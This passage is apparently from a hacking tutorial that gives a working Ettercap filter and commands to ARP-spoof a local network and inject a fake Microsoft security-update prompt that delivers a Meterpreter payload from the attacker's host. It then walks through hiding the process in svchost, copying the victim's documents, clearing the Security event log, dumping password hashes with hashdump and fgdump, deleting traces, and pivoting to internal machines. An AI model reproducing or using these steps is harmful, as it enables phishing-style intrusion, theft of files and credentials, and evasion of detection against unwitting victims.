And in the page that pops up, copy and paste the following (changing the appropriate variables):
Code:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Nothing!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<title>")) {
replace("</title>", "</title><form action="http://192.168.1.3/output.exe" method="link"><img src="http://192.168.1.3/security.png"><INPUT TYPE=submit value="Download Security Update"></form><html><body><h10>Your PC is vulnerable and needs to be updated. The Microsoft Bulletin ID is MS08_067. Please update by downloading the program and running the update. For more information, see <a href=http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx”>here</a></h10></body></html>");
msg("html injected");
}}
For the “security.png” file, consider using a large, professional image, and make sure it's seen. However, it may also be an idea to resize it so it's not too overbearing. Adjust the file to suit your situation, and click “Save” and then close “Kedit”. In the same terminal, we will now turn that filter into a file usable by Ettercap, then start up Ettercap.
bt ~ # etterfilter web.filter web.ef
bt ~ # ettercap -T -q -F web.ef -M arp:remote /192.168.1.1-255/ -P autoadd
Provided you have Metasploit's exploit handler listening, all you have to do is wait until someone falls for your trick, and you'll have a Meterpreter session. After that, if you want to make it seem realistic, you can cancel Ettercap with “q”. If you can't get it working for some reason, I uploaded a copy of it to my site: http://greyhat-security.com/html.ef – keep in mind, you'll need to have the same variables as I did for it to work.
Now, we will take a look at a few possible options once you have this command session.
First up, you'll want to hide the process, so there's no obvious additional programs running. Type “ps” to see a list of processes. You should see something similar to the following:
240 output.exe C:\Documents and Settings\Fail User\My Documents\output.exe
404 smss.exe \SystemRoot\System32\smss.exe 484 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 528 services.exe C:\WINDOWS\system32\services.exe 540 lsass.exe C:\WINDOWS\system32\lsass.exe 716 svchost.exe C:\WINDOWS\system32\svchost.exe 768 svchost.exe C:\WINDOWS\System32\svchost.exe 1156 Explorer.EXE C:\WINDOWS\Explorer.EXE 1184 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1316 RUNDLL32.EXE C:\WINDOWS\System32\RUNDLL32.EXE 1324 ctfmon.exe C:\WINDOWS\System32\ctfmon.exe 1332 msmsgs.exe C:\Program Files\Messenger\msmsgs.exe 1584 nvsvc32.exe C:\WINDOWS\System32\nvsvc32.exe 1928 WinVNC.exe C:\Program Files\TightVNC\WinVNC.exe
As you can see, our software (output.exe) is still running. We will use the “migrate” command to merge out process with “svchost.exe”, which runs a PID of 716. Type the following command:
meterpreter > migrate 716
You should see something like this:
[*] Migrating to 716... [*] Migration completed successfully.
Type “ps” to confirm:
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
404 smss.exe \SystemRoot\System32\smss.exe
460 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
484 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
528 services.exe C:\WINDOWS\system32\services.exe
540 lsass.exe C:\WINDOWS\system32\lsass.exe
716 svchost.exe C:\WINDOWS\system32\svchost.exe
768 svchost.exe C:\WINDOWS\System32\svchost.exe
908 svchost.exe C:\WINDOWS\System32\svchost.exe
936 svchost.exe C:\WINDOWS\System32\svchost.exe
1156 Explorer.EXE C:\WINDOWS\Explorer.EXE
1184 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1316 RUNDLL32.EXE C:\WINDOWS\System32\RUNDLL32.EXE
1324 ctfmon.exe C:\WINDOWS\System32\ctfmon.exe
1332 msmsgs.exe C:\Program Files\Messenger\msmsgs.exe
1584 nvsvc32.exe C:\WINDOWS\System32\nvsvc32.exe
1928 WinVNC.exe C:\Program Files\TightVNC\WinVNC.exe
As you can see, our process has all but disappeared. Now that we are a little less obviously in their system, we have more time to complete our operations. Basic operation commands can be seen by typing “help”. Some important ones that you may use:
download – It's a pretty obvious one, but it allows you to download remote files to your local PC. Basic usage is this:
download [options] src1 src2 src3 ... destination
OPTIONS:
-r Download recursively.
For example, we change to a directory (C:\Documents and Settings\Fail User\) and then download their “My Documents” folder:
download -r “My Documents” /home/root/Documents
upload – Upload is the same basic idea, just in reverse (upload instead of download). Usage is exactly the same format.
execute – This will be a useful command to remember. It allows you to execute commands on the system and also to interact with them. You could use this to execute a program you uploaded, or interact with a windows Cmd shell on the local system, etc. Typical usage is:
Usage: execute -f file [options]
OPTIONS:
-H Create the process hidden from view.
-a <opt> The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d <opt> The 'dummy' executable to launch when using -m.
-f <opt> The executable command to run.
-h Help menu.
-i Interact with the process after creating it.
-m Execute from memory.
-t Execute process with currently impersonated thread token
For example, to execute a command prompt hidden from their view, and interact with it, type:
execute -f cmd.exe -c -H -i
run – This can be used to run ruby scripts, such as the following from Chris Gates:
Code:
print_line("Clearing the Security Event
Log, it will leave a 517 event\n")
log = client.sys.eventlog.open('security')
log.clear
hashdump – This can only be used if you type “use priv” beforehand. When you do, and then you type “hashdump”, you will get a dump of all the local user account passwords, which you can then crack with Ophcrack or a similar program.
Another idea could be to generate a reverse-vnc executable in the same way we did with Meterpreter. Set up another listener, upload the generated payload, and get it to execute remotely using the Meterpreter session. This will give us a VNC on the remote PC.
Another handy trick is to use the exploited PC to pivot through, in order to exploit other PC's inside the network that are not accessible externally (such as the internal server). To do this in your current session, you'll need to do a few things. First off, you'll need to type “route” to see the current network configuration. You should get an output like this:
meterpreter > route
Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 192.168.1.1
127.0.0.0 255.0.0.0 127.0.0.1
192.168.1.0 255.255.255.0 192.168.1.3
192.168.1.3 255.255.255.255 127.0.0.1
192.168.1.255 255.255.255.255 192.168.1.3
224.0.0.0 240.0.0.0 192.168.1.3
255.255.255.255 255.255.255.255 192.168.1.3
Then we'll need to take note of the local subnet (192.168.1.0), and then background the meterpreter session by pressing “Ctrl + Z” and then typing “y”:
meterpreter > ^Z
Background session 1? [y/N] y
This will enable us to add a local route for metasploit. We will now use the “route add” command, in the format:
route add <subnet> <netmask> <session-id>
We get:
msf exploit(handler) > route add 192.168.1.0 255.255.255.0 1
Then view with:
msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.1.0 255.255.255.0 Session 1
We can then do an Nmap scan (still from the backgrounded session console) to find more vulnerabilities, hosts, etc., and then proceed to exploit further hosts with Metasploit and interact with those sessions. Let's take a look at a few of these in action:
To start, we'll do a dump of local passwords. Go grab a copy of fgdump from http://www.foofus.net/fizzgig/fgdump/downloads.htm and unarchive that to your local Metasploit Directory. Now, upload it, and execute it, using the technicues you learnt before. Then, we will download a copy of the passwords, and delete it from the remote PC:
meterpreter > upload fgdump.exe fgdump.exe
meterpreter > execute -f fgdump.exe -i -H
meterpreter > download 127.0.0.1.pwdump
meterpreter > execute -f cmd.exe -c -H -i
C:\Documents and Settings\Fail User\My Documents>del 127.*
C:\Documents and Settings\Fail User\My Documents>del 2008*
These passwords can be cracked either with Ophcrak, or John the Ripper (or any similar program).
Metasploiting for BT3 - Reverse TCP
For the original PDF version (which has pictures), go to 
)
